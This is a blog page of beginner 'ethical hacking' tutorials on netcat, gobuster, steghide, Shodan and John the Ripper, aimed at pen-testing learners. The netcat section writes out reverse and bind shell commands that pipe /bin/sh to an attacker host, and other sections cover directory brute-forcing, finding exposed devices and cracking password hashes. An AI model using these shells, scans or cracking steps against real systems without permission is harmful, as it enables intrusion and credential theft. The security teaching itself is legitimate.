Category: Hacking Tools

Posted on by

Hackers guide to netcat

Hello, aspiring ethical hackers. In this blogpost, you will learn about the tool netcat and its use for ethical hackers. This tool along with Nmap is given a wide berth in ethical hacking courses as it can create any kind of connections.

Netcat, also known as swiss army knife in cybersecurity circles is a multi-utility tool that can perform various functions for a pen tester. Let’s learn about all the uses of it for ethical hackers.

Port scanning

Although not as versatile as Nmap, it can perform port scanning for you during scanning stage of a hack. It is less noisy and unconventional. Let’s see port 80 is open on our target system using netcat.

nc -zv <target ip> <target port>
Netcat 1
Netcat 2

You can scan multiple ports at once using netcat.

nc -zv <target ip> <target port 1> <target port 2> <target port 3>
Netcat 3

You can even scan a range of ports at once using it.

nc -zv <target ip> <range of ports>
Netcat 4

Grabbing banners

There are other awesome banner grabbing tools but in case of subtlety netcat can also grab banners in its own quite sense. This may be helpful when you have completed gaining access on the target network and wish to grab banners of the services running from inside. It is easy to transport to the target network. This is how simple it is to grab banners with netcat. All you have to do is specify the text IP and port and hit ENTER.

nc <target ip> <target port>
Netcat 5
Netcat 6

For HTTP, after specifying target IP and post, type “HTTP 1.1 100” as shown below to grab the banner.

Netcat 7

File Transfer

This function of netcat comes useful during Post-exploitation stage after you have gained access to the target system. Netcat can help you in transferring files to the target system from the attacker system. Note that both the attacker and target systems should have netcat installed.

Let’s demonstrate this. For this, we will be transferring the same file used during tutorial of steghide. First, on the target system, type the command shown below using the name of the file to be transferred.

nc -l -p <target port> > <file>
Netcat 8 1024x72

Then on the attacker system, type the below command.

nc <target IP> <target port> < <file>
Netcat 9

Here is the file that is transferred to the target system.

Netcat 10 1024x102

Bind and Reverse shells

You have learnt about shell and different types of shells in our previous blogposts. If you want to have a quite shell after gaining access, netcat can do it for you. The most familiar scenario is gaining a reverse shell. Let’s see how to get a reverse shell with netcat. Note that there are two types of netcat available. With the original netcat, users seem to be facing some problems in gaining a shell.

Another netcat is available from the makers of Nmap. Called as “ncat”, let’s use it to get a reverse shell first. On the attacker system, type the command shown below to start a listener.

ncat -lvp <port to listen on>
Netcat 11

Then, type the command shown below on the target system.

ncat <attacker system's ip> <port attacker is listening on> -e /bin/sh
Netcat 12 1024x98

As soon as you do that on the target system, we get a shell on the attacker system.

Netcat 13

To get a bind shell, first we need to start a listener on the target system as shown below.

ncat -lvp <port to listen on> -e /bin/sh
Netcat 14 1024x130

Then on the attacker system, do this.

nc <target IP> <target port>
Netcat 15

Here’s the bind shell.

Netcat 16 1024x174
Netcat 17
Posted on by

Beginners guide to gobuster tool

Hello, aspiring ethical hackers. In one of our previous blogposts, you studied in detail about website footprinting and different methods used to gather information about a website. In it you have learnt that directory scanning and subdomain enumeration is one of the techniques used to gather information about a website. In this blogpost you will learn about a tool named gobuster which can do both.

Gobuster is a tool built in Go programming language that can brute-force URIs (directories and files) in websites, DNS subdomains, virtual host names on target web servers, open Amazon S3 buckets, open Google cloud buckets and TFTP servers. It is present by default in the repositories of Kali Linux and can be installed by just typing the command as shown below.

Gobuster 1 1

Once installed, gobuster can be used using the same command.

Gobuster 2 1

There are different modes in gobuster tool for different operations. No matter what mode you use, since Gobuster is a brute-forcing tool it needs a wordlist. Let’s see how to scan web directories first. For this tutorial, we will be using Mutillidae as our target. It is installed by default in Metasploitable 2. See how to install Metasploitable 2 in VirtualBox and see how to create a web application penetration testing lab.

Let’s see how to scan directories with Gobuster.

Gobuster 3 1

Let’s explain the options here.

dir – to scan for directories.

-u: URL to be scanned.

-w: wordlist from which earlier are scanned.

Here is the result of this scan.

Gobuster 4 1
Gobuster 5 1

You can see that gobuster found some interesting files along with a file named “passwords”. As an exercise, scan DVWA also as it is also installed by default on Metasploitable 2.

Gobuster 6 1

Now, lets see how to scan for subdomains using gobuster. We have to just change the “dir” option to “dns”.

Gobuster 7 1
Gobuster 8 1

Learn how to perform directory scanning with dirb.

Posted on by

Beginners guide to Steghide

Hello, aspiring ethical hackers. In one of our previous blogposts, you have learnt in detail about steganography and types of steganography techniques. In this blogpost, you will learn about steghide, a tool that can perform image steganography and audio steganography.

Let’s see how this tool works. This tool is installed by default in Kali Linux. The command to use steghide is shown below. If it is not installed yet, the system will prompt you to install it as shown below.

Steghide 1
Steghide 2

After steghide is successfully installed, let’s get ready our files. To perform steganography, we need two files: a file we want to hide (hereby called as secret file to avoid confusion) and another file to hide this secret file. So, first let’s create file which we want to hide (I mean, secret file). Let’s create a text file named “secret.txt” with some text inside as shown below.

Steghide 3
Steghide 4

Now, we need a file in which we can hide this “secret.txt” file. With Steghide, we can hide secret data in JPEG, BMP and audio files of WAV and Au formats. For this tutorial, let’s just download a hot pic in jpeg format from Freepix as shown below.

Volcano

What can be hotter than an erupting volcano. Since both files are ready, we can start working with steghide. Here’s the command.

Steghide 5
Steghide 6

Here is the explanation of the options used:

–embed: for embedding a file into another (in this case, embedding secret.txt into volcano.jpg).

-ef: file that needs to be hidden or embedded

-cf: file in which the above file is to be hidden.

-sf: resultant file after embedding.

You can embed a file even without using the ‘-sf’ option but when you do that, the original file (in our case, volcano.jpg) will be overwritten. Steghide will ask you to set a password while embedding a file, you can continue without setting the password too, but that would make it easy for right people to see the secret message. This is the image with secret data hidden beside it.

Volcano With Secret

It is looking just like any normal image, right. We can use steghide to specify additional options while embedding but before that let’s learn how to extract this secret data from the image file. To retrieve hidden data from the image file, we use the “extract” command of steghide is used.

Steghide 7
Steghide 8

You can even specify a separate file to extract the secret data from using the ‘-xf’ option below.

Steghide 11
Steghide 12

Whatever the case, you have to enter the correct password while extracting. Steghide also has a ‘info” command to display the information about the image file with secret data. Here it is how it works on a normal image file.

Steghide 9

Now, let’s get information about our “volcano_with_secret.jpg file.

Steghide 10

As you can see, steghide reveals that the above file (volcano_with_secret.jpg) is embedding a file named “secret.txt, it is compressed and encrypted with rijndael-128, cbc encryption. Now, let’s learn about additional options that can be used with steghide while embedding a file. We have seen while using “info” command that the name of the embedded file was displayed using the “-N” option, you can stop this name from being displayed.

Steghide 13

Now, let’s observe this file using the “info” command as shown below.

Steghide 14

As you can see, the name of the hidden file is not being displayed now. You can even encrypt a file with steghide using the “-z” option.

Steghide 15
Steghide 16

By default, steghide uses rijndael-128 cbc encryption to encrypt the file. We can even specify the encryption algorithm we want. The encryption algorithms supported by steghide can be viewed using the “encinfo” command.

Steghide 17

We can set our own encryption algorithm we want using the ‘-e’ option. For example, let’s set the DES algorithm with cbc cipher.

Steghide 18
Steghide 19

That is how we use steghide to hide a file.

Posted on by

Beginners guide to Shodan

Hello, aspiring ethical hackers. In one of our previous blogposts, you learnt in detail about footprinting or information gathering and the various methods of reconnaissance. In another blogpost, you learnt what is OSINT. In this blogpost, you will learn about a resource that falls into the above categories. Its named Shodan, I prefer to call it the hackers search engine

What is Shodan?

You know about Google search engine and its power. It allows you search for images, videos, news etc. what if there was a search engine to search for various types of devices connected to the internet. These devices can be webcams, routers and different servers like web server, FTP server, Telnet, SSH, SNMP, IMAP, SMTP etc. In fact, everything connected to internet. Well, the answer is Shodan.

Let’s learn more about it. Go to the official website of it here and in the search field, search for Apache.

Shodan 1
Shodan 2

It will start displaying all the Apache servers connected to internet as shown below.

Shodan 3

But as you try to go to the next page to see more entries, you should see the below error.

Shodan 4

You can search for anything you want but the results are limited if you are not registered. You can create an account on Shodan by going to the Register page. Registration is free and after you confirm your registration from your email, you are ready to use the power of this awesome search engine.

Shodan 5

You can login into your Shodan account and search for whatever you want.

Shodan 6
Shodan 7 1024x576

Let’s search for SSH servers running on ports 22 and 3333.

Shodan 8

Sometimes, administrators just change the operating port of a server to prevent hacking attacks. We can even search for them. For example, let’s search for SSH servers running on ports other than 22 and 3333.

Shodan 9

Let’s search for Redis servers.

Shodan 10

In fact, you can search for anything connected to the internet using Shodan. Seeing the use of this tool for pen testers, the makers of Kali Linux have included Shodan-cli, a command line version in their repository.

Shodan 11
Shodan 12

Before using the command line version of Shodan, you need to add the API key of Shodan. It can be added as shown below.

Shodan 13

This key can be seen in the Account section of Shodan. Once the API key is entered, you can use Shodan-cli. This API key can also be used with tools like SpiderFoot used for OSINT. Note that the features are dependent on the types of account you have at Shodan. Free account has limited features. Let’s see how many open SSH and Filezilla servers are exposed to the internet.

Shodan 14

After seeing all this, you may wonder how Shodan works or is it legal to use it. Shodan works by using a technique called banner grabbing. It captures banners of all the devices connected to the internet and then stores them in its database. Although it is legal to use Shodan for querying, it is not to do anything on the exposed servers without their permission. It is used by pen testers to see what devices are exposed and what information they are leaking to the internet.

Posted on by

John password cracker: Beginners guide

Hello, aspiring ethical hackers. In one of our previous blogposts, you learnt about password cracking and different types of password cracking techniques. In this blogpost, you will learn about a password cracking tool called John password cracker. Originally, called John the Ripper, John password cracker is a cross-platform software and a very popular password cracker.

In one of our previous blogposts, you learnt in detail about encryption. Hashing is a method of encryption in which a plain string of text is converted into an encrypted hash. This is a one-way function and hashes cannot easily be converted back to plain string. This technique is often used for storing passwords.

Being one of the most popular password hash cracking tools, John is installed by default in Kali Linux and I will be using the same for this tutorial. To demonstrate the power of John, first we need to create a hash. This can be done using online services like md5encrypt. I copy the generated MD5 hash to a text file named hash.txt as shown below.

John Password Cracker 1

Then all we have to do is submit this file to John as shown below.

John Password Cracker 2

Then John begins to crack the hash in the file. In most of the real-world cases, this will consume lot of time. So, it is good to specify the format of the hash using the ‘–format’ option as shown below. The format of the hash can be identified using hash identification.

John Password Cracker 3

As you can see in the above image, John successfully cracked the password hash. Let’s add a SHA-1 hash now to the same file and try cracking it.

John Password Cracker 4
John Password Cracker 5

The list of all the hash formats John can crack are many. John can crack a number of password hashes at once. However, they should all be of same format. Let’s add another MD5 hash to the hash.txt file.

John Password Cracker 6

Once a hash is cracked by John, it can be viewed using the ‘–show’ option. For example, all the hashes in file “hash.txt” can be viewed as shown below.

John Password Cracker 7

Single mode

As already mentioned at the beginning of this article, John can use different techniques to crack password hashes. One of them is single mode. People in some cases use the username as a password (or a variation of username as password). Single mode is mostly useful in these cases. When single mode is specified, it tries all the variations of the username to crack the hash. Let’s try it out. I add a password hash along with the username to the file hash.txt.

John Password Cracker 8

Then, specifying single mode does this.

John Password Cracker 9
John Password Cracker 10

Wordlist mode or Dictionary mode

John can also use dictionary mode to crack the hash. I add a new hash to the file hash.txt.

John Password Cracker 11

Then all we need to do is specify a wordlist as shown below.

John Password Cracker 12

Incremental mode

If all those options fail, John still has incremental mode in which the combination of all the techniques are used. But this may take lot of time and resources.

John Password Cracker 13

But password cracking is all about patience. Learn how to crack hashes with hashcat.